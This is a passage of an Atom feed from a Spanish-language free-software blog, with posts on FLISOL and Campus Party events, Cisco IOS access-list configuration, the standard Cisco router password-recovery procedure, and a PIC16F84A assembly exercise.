<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8002103865555107583</id><updated>2011-07-08T07:10:07.833-07:00</updated><category term='short integer'/><title type='text'>root@byka:/echo "BE FREE USE FREE SOFTWARE"</title><subtitle type='html'>GNU con LINUx this is the correct Name...
MAY THE SOURCE BE WHIT YOU..</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>48</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7065190465025436312</id><published>2009-11-15T18:33:00.000-08:00</published><updated>2009-11-15T18:34:31.466-08:00</updated><title type='text'>Sigue Campus Party Mèxico!!!!</title><content type='html'>&lt;object type='application/x-shockwave-flash' allowfullscreen='true' width='640' height='360' data='http://tv.campus-party.org/CP_videoplayer_16_9.swf?c=10713&amp;idsite=300011&amp;autoplay=1'&gt; &lt;param name='allowFullScreen' value='true' /&gt; &lt;param name='movie' value='http://tv.campus-party.org/CP_videoplayer_16_9.swf?c=10713&amp;idsite=300011&amp;autoplay=1' /&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7065190465025436312?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7065190465025436312/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7065190465025436312' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7065190465025436312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7065190465025436312'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2009/11/sigue-campus-party-mexico.html' title='Sigue Campus Party Mèxico!!!!'/><author><name>Katy</name><uri>http://www.blogger.com/profile/11789511772067038046</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_YeKHwT1IwOE/SHgEhuzR3VI/AAAAAAAAABY/X08dGmK6hLI/S220/sirenas.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-2150804065373978174</id><published>2009-01-16T16:05:00.000-08:00</published><updated>2009-01-16T16:12:29.201-08:00</updated><title type='text'>Flisol 2009  ESIME CULHUACAN</title><content type='html'>Este año como todos los años estamos preparando el festival latinoamericano de Instalacion de software libre ,Habrab varias sedes ,  como sede Esime Culhuacan donde se llevara acabo varios talleres , platicas y hacerca de diversos temas de interes solbre Software Libre&lt;br /&gt;&lt;br /&gt;en breve se daran las listas de los temas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.flisol.sectorweb.net/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-2150804065373978174?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/2150804065373978174/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=2150804065373978174' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2150804065373978174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2150804065373978174'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2009/01/flisol-2009-esime-culhuacan.html' title='Flisol 2009  ESIME CULHUACAN'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1472302411631884371</id><published>2008-08-20T09:19:00.001-07:00</published><updated>2008-08-21T10:57:24.712-07:00</updated><title type='text'>Configuración de LISTAS ACL</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Proceso de configuración de ACL&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El proceso de creación de una ACL se lleva a cabo creando la lista y posteriormente asociándola a una interfaz entrante o saliente.&lt;br /&gt;Configuración de ACL estándar&lt;br /&gt;&lt;br /&gt;Router(config)#access-list[1-99][permit|deny][dirección de origen][mascara comodín]&lt;br /&gt;&lt;br /&gt;Donde:&lt;br /&gt;&lt;br /&gt;1-99 Identifica el rango y la lista.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cuando se configura un router se debe identificar de forma exclusiva asignando  un numero  a la acl del protocolo  cuando se usa un numero para identificar una ACL el numero debe de estar dentro del rango de numeros especificos de numeros que es valido para el protocolo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ip 1-99&lt;br /&gt;ip extendida 100-199&lt;br /&gt;apple talk 600-699&lt;br /&gt;ipx 800-899&lt;br /&gt;ipx extendido 900-999&lt;br /&gt;protocolo de publicacion de servicio ipx 1000-1099&lt;br /&gt;&lt;br /&gt;Permit|deny indica si esta entrada permitirá o bloqueará el tráfico a partir de la dirección especificada.&lt;br /&gt;&lt;br /&gt;Dirección de origen  identifica la dirección IP de origen.&lt;br /&gt;&lt;br /&gt;Mascara comodín o wildcard identifica los bits del campo de la dirección que serán comprobados.&lt;br /&gt;&lt;br /&gt;La mascara predeterminada es 0.0.0.0 (coincidencia de todos los bits).&lt;br /&gt;Asociación de la lista a una interfaz&lt;br /&gt;&lt;br /&gt;Router(config-if)#ip access-group[nº de lista de acceso][in|out]&lt;br /&gt;&lt;br /&gt;Donde:&lt;br /&gt;&lt;br /&gt;Número de lista de acceso indica el número de lista de acceso que será aplicada a esa interfaz.&lt;br /&gt;&lt;br /&gt;In|out selecciona si la lista de acceso se aplicará como filtro de entrada o de salida.&lt;br /&gt;Ejemplo de una ACL estándar denegando una red:&lt;br /&gt;&lt;br /&gt;Router#configure terminal&lt;br /&gt;Router(config)#access-list 10 deny 192.168.1.0 0.0.0.0&lt;br /&gt;Router(config)#access-list 10 permit any&lt;br /&gt;Router(config)#interface serial 0&lt;br /&gt;Router(config-if)#ip access-group 10 in&lt;br /&gt;&lt;br /&gt;Se ha denegado al host 192.168.1.0 y luego se ha permitido a cualquier origen,&lt;br /&gt;Posteriormente se asocio la ACL a la interfaz Serial 0.&lt;br /&gt;Configuración de ACL extendida&lt;br /&gt;&lt;br /&gt;El proceso de configuración de una ACL IP extendida es el siguiente:&lt;br /&gt;&lt;br /&gt;Router(config)#access-list[100-199][permit|deny][protocol][dirección de origen][mascara comodín][dirección de destino][mascara de destino][puerto][establisehed][log]&lt;br /&gt;100-199 identifica el rango y número de lista&lt;br /&gt;Permit|deny: indica si la entrada permitirá o bloqueara la dirección especificada.&lt;br /&gt;Protocolo: como por ejemplo IP, TCP, UDP, ICMP&lt;br /&gt;&lt;br /&gt;Dirección origen y destino: identifican direcciones IP de origen y destino.&lt;br /&gt;&lt;br /&gt;Mascara wildcard origen y mascara destino: Son las mascaras comodín. Las 0 indican las posiciones que deben coincidir, y los 1 las “que no importan”.&lt;br /&gt;&lt;br /&gt;Puerto:(opcional) puede ser por ejemplo: lt (menor que), gt (mayor que), eq (igual a), o neq (distinto que) y un número de puerto de protocolo correspondiente.&lt;br /&gt;&lt;br /&gt;Establisehed: (opcional) Se usa solo para TCP de entrada. Esto permite que él rafico TCP pase si el paquete utiliza una conexión ya establecida (por ejemplo posee un conjunto de bits ACK)&lt;br /&gt;&lt;br /&gt;Log: (opcional) Envía un mensaje de registro a la consola a un servidor syslog determinado.&lt;br /&gt;&lt;br /&gt;Algunos de los números de puertos más conocidos:&lt;br /&gt;&lt;br /&gt;20 Datos del protocolo FTP&lt;br /&gt;21 FTP&lt;br /&gt;23 Telnet&lt;br /&gt;25 SMTP&lt;br /&gt;69 TFTP&lt;br /&gt;53 DNS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Asociación de la lista a una interfaz&lt;br /&gt;&lt;br /&gt;Router(config-if)#ip access-group[nº de lista de acceso][in|out]&lt;br /&gt;&lt;br /&gt;Donde:&lt;br /&gt;&lt;br /&gt;Número de lista de acceso indica el número de lista de acceso que será aplicada a esa interfaz.&lt;br /&gt;&lt;br /&gt;In|out selecciona si la lista de acceso se aplicará como filtro de entrada o de salida.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ejemplo de una ACL Extendida denegando un host hacia el puerto 80 de una red:&lt;br /&gt;&lt;br /&gt;Router(config)#access-list 120 deny tcp host 204.204.10.1  any eq 80&lt;br /&gt;Router(config)#access-list 120 permit ip any any&lt;br /&gt;Router(config)#interface serial 1&lt;br /&gt;Router(config-if)#ip access-group 120 in&lt;br /&gt;&lt;br /&gt;Se ha denegado al host 204.204.10.1, (identificándolo con la abreviatura “host”) hacia el puerto  80 de cualquier red de destino (usando el termino any). Posteriormente se permite todo trafico IP. Esta ACL se asocio a la interfaz Serial 1 como entrante.&lt;br /&gt;Aplicación de una ACL a la linea de telnet&lt;br /&gt;&lt;br /&gt;Para evitar intrusiones no deseadas en las conexiones de telnet se puede crear una&lt;br /&gt;lista de acceso estándar y asociarla a la Line VTY. El proceso de creación se lleva a cabo como una ACL estándar denegando o permitiendo un origen hacia esa interfaz. El modo de asociar la ACL a la Línea de telnet es el siguiente:&lt;br /&gt;&lt;br /&gt;router(config)#line vty 0 4&lt;br /&gt;router(config-line)#access-class[Nº de lista de acceso][in|out]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como eliminar las listas de acceso&lt;br /&gt;&lt;br /&gt;Desde el modo interfaz donde se aplico la lista:&lt;br /&gt;&lt;br /&gt;Router(config-if)#no ip access-group[Nº de lista de acceso]&lt;br /&gt;&lt;br /&gt;Desde el modo global elimine la ACL&lt;br /&gt;&lt;br /&gt;router(config)#no access-list[Nº de lista de acceso]&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1472302411631884371?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1472302411631884371/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1472302411631884371' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1472302411631884371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1472302411631884371'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/08/configuracin-de-acl.html' title='Configuración de LISTAS ACL'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1135888068974210176</id><published>2008-08-20T09:00:00.000-07:00</published><updated>2008-08-20T09:01:33.890-07:00</updated><title type='text'>Recover Paaasswooordddd CISCO</title><content type='html'>(Primera parte)&lt;br /&gt;&lt;br /&gt;La recuperación de contraseñas le permite alcanzar el control administrativo de su dispositivo si ha perdido u olvidado su contraseña. Para lograr esto necesita conseguir acceso físico a su router ingresar sin la contraseña, restaurar la configuración y reestablecer la contraseña con un valor conocido.&lt;br /&gt;El orden del proceso para la recuperación de contraseña es el siguiente:&lt;br /&gt;&lt;br /&gt;Para router Cisco&lt;br /&gt;• serie 2000.&lt;br /&gt;• serie 2500.&lt;br /&gt;• serie 3000.&lt;br /&gt;• serie 4000 con una CPU Motorola 680×0.&lt;br /&gt;• serie 7000 ejecutando Cisco IOS versión 10.0 o posterior&lt;br /&gt;&lt;br /&gt;Siga estos pasos:&lt;br /&gt;&lt;br /&gt;Paso 1&lt;br /&gt;Conecte un terminal o PC con software de emulación de terminal al puerto de consola del router. Acceda físicamente al router, apague y encienda el router.&lt;br /&gt;&lt;br /&gt;Paso 2&lt;br /&gt;Pulse la tecla de interrupción del terminal durante los primeros sesenta segundos del encendido del router. En el caso de Hyperterminal la combinación del control+pausa dará la señal de interrupción en el router.&lt;br /&gt;Aparecerá el símbolo&gt; sin nombre del router. Si no aparece el símbolo, el terminal no esta enviando la señal de interrupción correcta.&lt;br /&gt;&lt;br /&gt;Paso 3&lt;br /&gt;Introduzca el comando o/r 0×2142 (o/r orden de registro) para arrancar desde la memoria Flash.&lt;br /&gt;&lt;br /&gt;Paso 4&lt;br /&gt;En el símbolo &gt;, introduzca el comando i (initialize) para reiniciar el router. Esto hace que el router se reinicie pero ignore la configuración grabada en la NVRAM.&lt;br /&gt;Paso 5&lt;br /&gt;Siga los pasos de arranque normales. Aparecerá el símbolo router&gt;.&lt;br /&gt;Paso 6&lt;br /&gt;La memoria RAM estará vacía, copie el contenido de la NVRAN a la RAM. De esta manera recuperara la configuración y también la contraseña no deseada. El nombre de router volverá a ser el original.&lt;br /&gt;&lt;br /&gt;Router#copy startup-config running-config&lt;br /&gt;MADRID#&lt;br /&gt;&lt;br /&gt;Paso 7&lt;br /&gt;Cambie la contraseña no deseada por la conocida:&lt;br /&gt;&lt;br /&gt;MADRID#configure terminal&lt;br /&gt;MADRID (config-if)#enable secret “Nueva contraseña”&lt;br /&gt;&lt;br /&gt;Paso 8&lt;br /&gt;Guarde su nueva contraseña en la NVRAM, y si fuera necesario levante administrativamente las interfaces con el comando no shutdown:&lt;br /&gt;&lt;br /&gt;MADRID#copy running-config startup-config&lt;br /&gt;&lt;br /&gt;Paso 9&lt;br /&gt;Introduzca desde el modo global el comando config-register 0×2102&lt;br /&gt;&lt;br /&gt;Paso 10&lt;br /&gt;Introduzca el comando reload en el símbolo del nivel EXEC privilegiado. Responda yes a la pregunta y confirme el reinicio:&lt;br /&gt; &lt;br /&gt;Router#reload&lt;br /&gt;&lt;br /&gt;System configuration has been modified. Save? [yes/no]: yes&lt;br /&gt;Building configuration…&lt;br /&gt;[OK]&lt;br /&gt;Proceed with reload? [confirm]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1135888068974210176?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1135888068974210176/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1135888068974210176' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1135888068974210176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1135888068974210176'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/08/recover-paaasswooordddd-cisco.html' title='Recover Paaasswooordddd CISCO'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-4357918651749803126</id><published>2008-08-19T15:33:00.000-07:00</published><updated>2008-08-19T15:41:14.696-07:00</updated><title type='text'>Listas de Acceso CISCO</title><content type='html'>Desde la primera vez que se conectaron varios sistemas para formar una red, ha existido una necesidad de restringir el acceso a determinados sistemas o partes de la red por motivos de seguridad, privacidad y otros. Mediante la utilización de las funciones de filtrado de paquetes del software IOS, un administrador de red puede restringir el acceso a determinados sistemas, segmentos de red, rangos de direcciones y servicios, basándose en una serie de criterios. La capacidad de restringir el acceso cobra mayor importancia cuando la red de una empresa se conecta con otras redes externas, como otras empresas asociadas o Internet.&lt;br /&gt;&lt;br /&gt;Administración basica del trafico IP&lt;br /&gt;Los router se sirven de las listas de control de acceso (ACL) para identificar el tráfico.&lt;br /&gt;Esta identificación puede usarse después para filtrar el tráfico y conseguir una mejor administración del tráfico global de la red. Las listas de acceso constituyen una eficaz herramienta para el control de la red. Las listas de acceso añaden la flexibilidad necesaria para filtrar el flujo de paquetes que entra y sale de las diferentes interfaces del router.&lt;br /&gt;&lt;br /&gt;El filtrado de paquetes permite controlar el movimiento de estos dentro de la red. Este control puede ayudar a limitar él tráfico originado por el propio router.&lt;br /&gt;&lt;br /&gt;Una lista de acceso IP es un listado secuencial de condiciones de permiso o prohibición que se aplican a direcciones IP o a protocolos IP de capa superior. Las listas de acceso identifican tráfico que ha de ser filtrado en su transito por el router, pero no pueden filtrar él trafico originado por el propio router.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Las listas de acceso pueden aplicarse también pueden aplicarse a los puertos de líneas de terminal virtual para permitir y denegar trafico Telnet entrante o saliente, no es posible bloquear el acceso Telnet desde el mismo router.&lt;br /&gt;Se pueden usar listas de acceso IP para establecer un control más fino o la hora de separar el tráfico en diferentes colas de prioridades y personalizadas. Una lista de acceso también pueden utilizarse para identificar el tráfico “interesante” que sirve para activar las llamadas del enrutamiento por llamada telefónica bajo demanda (DDR). Las listas de acceso son mecanismos opcionales del software Cisco IOS que pueden ser configurados para filtrar o verificar paquetes con el fin de determinar si deben ser retransmitidos hacia su destino, o bien descartados.&lt;br /&gt;&lt;br /&gt;Cuando un paquete llega a una interfaz, el router comprueba si el paquete puede ser retransmitido verificando su tabla de enrutamiento. Si no existe ninguna ruta hasta la dirección de destino, el paquete es descartado. A continuación, el router comprueba si la interfaz de destino esta agrupada en alguna lista de acceso. De no ser así, el paquete puede ser enviado al búfer de salida. Si el paquete de salida está destinado a un puerto, que no ha sido agrupado a ninguna lista de acceso de salida, dicho paquete será enviado directamente al puerto destinado. Si el paquete de salida está destinado a un puerto ha sido agrupado en una lista de acceso saliente, antes de que el paquete pueda ser enviado al puerto destinado será verificado por una serie de instrucciones de la lista de acceso asociada con dicha interfaz. Dependiendo del resultado de estas pruebas, el paquete será admitido o denegado.&lt;br /&gt;Para las listas salientes un permit significa enviar al búfer de salida, mientras que deny se traduce en descartar el paquete.&lt;br /&gt;Para las listas entrantes un permit significa continuar el procesamiento del paquete tras su recepción en una interfaz, mientras que deny significa descartar el paquete.&lt;br /&gt;Cuando se descarta un paquete IP, ICMP devuelve un paquete especial notificando al remitente que el destino ha sido inalcanzable.&lt;br /&gt;Prueba de las condiciones de una ACL&lt;br /&gt;&lt;br /&gt;Las instrucciones de una lista de acceso operan en un orden lógico secuencial. Evalúan los paquetes de principio a fin, instrucción a instrucción. Si la cabecera de un paquete se ajusta a una instrucción de la lista de acceso, el resto de las instrucciones de la lista serán omitidas, y el paquete será permitido o denegado según se especifique en la instrucción competente.&lt;br /&gt;Si la cabecera de un paquete no se ajusta a una instrucción de la lista de acceso, la prueba continua con la siguiente instrucción de la lista.&lt;br /&gt;El proceso de comparación sigue hasta llegar al final de la lista, cuando el paquete será denegado implícitamente.&lt;br /&gt;&lt;br /&gt;Una vez que se produce una coincidencia, se aplica la opción de permiso o denegación y se pone fin a las pruebas de dicho paquete. Esto significa que una condición que deniega un paquete en una instrucción no puede ser afinada en otra instrucción posterior.&lt;br /&gt;&lt;br /&gt;La implicación de este modo de comportamiento es que el orden en que figuran las instrucciones en la lista de acceso es esencial. Hay una instrucción final que se aplica a todos los paquetes que no han pasado ninguna de las pruebas anteriores. Esta condición final se aplica a todos esos paquetes y se traducen en una condición de denegación del paquete.&lt;br /&gt;En lugar de salir por alguna interfaz, todos los paquetes que no satisfacen las instrucciones de la lista de acceso son descartados.&lt;br /&gt;Esta instrucción final se conoce como la denegación implícita de todo, al final de cada lista de acceso. Aunque esta instrucción no aparece en la configuración del router, siempre esta activa. Debido a dicha condición, es necesaria que en toda lista de acceso exista al menos una instrucción permit, en caso contrario la lista de acceso bloquearía todo el tráfico.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-4357918651749803126?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/4357918651749803126/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=4357918651749803126' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/4357918651749803126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/4357918651749803126'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/08/listas-de-acceso-cisco.html' title='Listas de Acceso CISCO'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-3811427990439341189</id><published>2008-04-07T19:49:00.000-07:00</published><updated>2008-04-08T23:32:24.282-07:00</updated><title type='text'>MICROCONTROLADOR PIC16F84A ENSAMBLADOR</title><content type='html'>ANALIZEMOS LAS SIGUIENTES SUBRUTINAS. RESPUESTA   VERDADERO =1 o FALSO=0;&lt;br /&gt;&lt;br /&gt;INICIO        MOVF        TIEMPO,F-&gt;MUEVE TIEMPO A F&lt;br /&gt;                   BTFSS        STATUS,Z-&gt;CHECA EL BIT Z DE STATUS SI 1 SALTA&lt;br /&gt;                   GOTO         ESHORA&lt;br /&gt;                  MOVLW    0X59&lt;br /&gt;                MOVWF    TIEMPO&lt;br /&gt;                GOTO        INICIO&lt;br /&gt;ESHORA    CALL            RET1SEG; llamado al retarno de 12 seg&lt;br /&gt;                    DECF            TIEMPO,F;segundo&lt;br /&gt;                    GOTO            INICIO&lt;br /&gt;&lt;br /&gt;A)la rutina incrementa la variable TIEMPO cada segundo hasta que alcanza el valor de 0X59 cuando esto ocurre la variable TIEMPO es puesta a 0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;FALSO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;              MOVLW         D'12'&lt;br /&gt;              MOVWF         FSR&lt;br /&gt;              CALL                    BUCLE&lt;br /&gt;FIN                     GOTO            FIN&lt;br /&gt;BUCLE         CLRF             INDF&lt;br /&gt;                  BTFSC               FSR,6-&gt; AQUI SALTA A INCF HASTA QUE LLEGA A 64&lt;br /&gt;                  RETURN&lt;br /&gt;                  INCF                          FSR,F&lt;br /&gt;                  GOTO                    BUCLE&lt;br /&gt;&lt;br /&gt;B)ESTA RUTINA PONE EN  CERO LAS LOCALIDADES DE MEMORIA RAM DE LA OXOC A LA OX4O&lt;br /&gt;&lt;br /&gt;SI CONVERTIMOS A HEXADEDECIMAL CARGAMOS A W CON OXOC DE AHI SE VA HA UN BUCLE HASTA QUE EL BIT 6 DE FSR ESTE EN 0 OSEA Y LLEGARA A 64 BORRANDO ESTAS LOCALIDADE DE MEMORIA&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;VERDADERO&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-3811427990439341189?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/3811427990439341189/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=3811427990439341189' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3811427990439341189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3811427990439341189'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/04/microcontrolador-pic16f84a-ensamblador.html' title='MICROCONTROLADOR PIC16F84A ENSAMBLADOR'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1627533053672774368</id><published>2008-04-04T22:47:00.000-07:00</published><updated>2008-04-04T13:43:10.105-07:00</updated><title type='text'>FLISOL 2008 ASISTAN</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_X3QcW21Qw2k/R_aStEYWdcI/AAAAAAAAAFk/KbX-0ahyZ4U/s1600-h/flisol.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_X3QcW21Qw2k/R_aStEYWdcI/AAAAAAAAAFk/KbX-0ahyZ4U/s400/flisol.jpg" alt="" id="BLOGGER_PHOTO_ID_5185493323931350466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;http://www.flisol.org.mx/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El FLISOL es el evento de difusión de Software Libre  más grande en Latinoamérica. Se realiza desde el año 2005 y su principal objetivo es promover el uso del Software Libre, dando aconocer al público en general su filosofía, alcances, avances y desarrollo.    Para tal fin, las diversas comunidades locales de software libre (en cada país, en cada ciudad/localidad), organizan simultáneamente eventos en los que se instala, de manera gratuita y totalmente legal, software libre en las computadoras que llevan los asistentes. Además, en forma paralela, se ofrecen charlas, ponencias y talleres, sobre temáticas locales, nacionales y latinoamericanas en torno al Software Libre, en toda su gama de expresiones: artística, académica, empresarial y social.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El FLISOL 2008 se llevará a cabo el sábado 26 de abril.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1627533053672774368?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1627533053672774368/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1627533053672774368' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1627533053672774368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1627533053672774368'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/03/flisol-2008-asistan.html' title='FLISOL 2008 ASISTAN'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_X3QcW21Qw2k/R_aStEYWdcI/AAAAAAAAAFk/KbX-0ahyZ4U/s72-c/flisol.jpg' height='72' 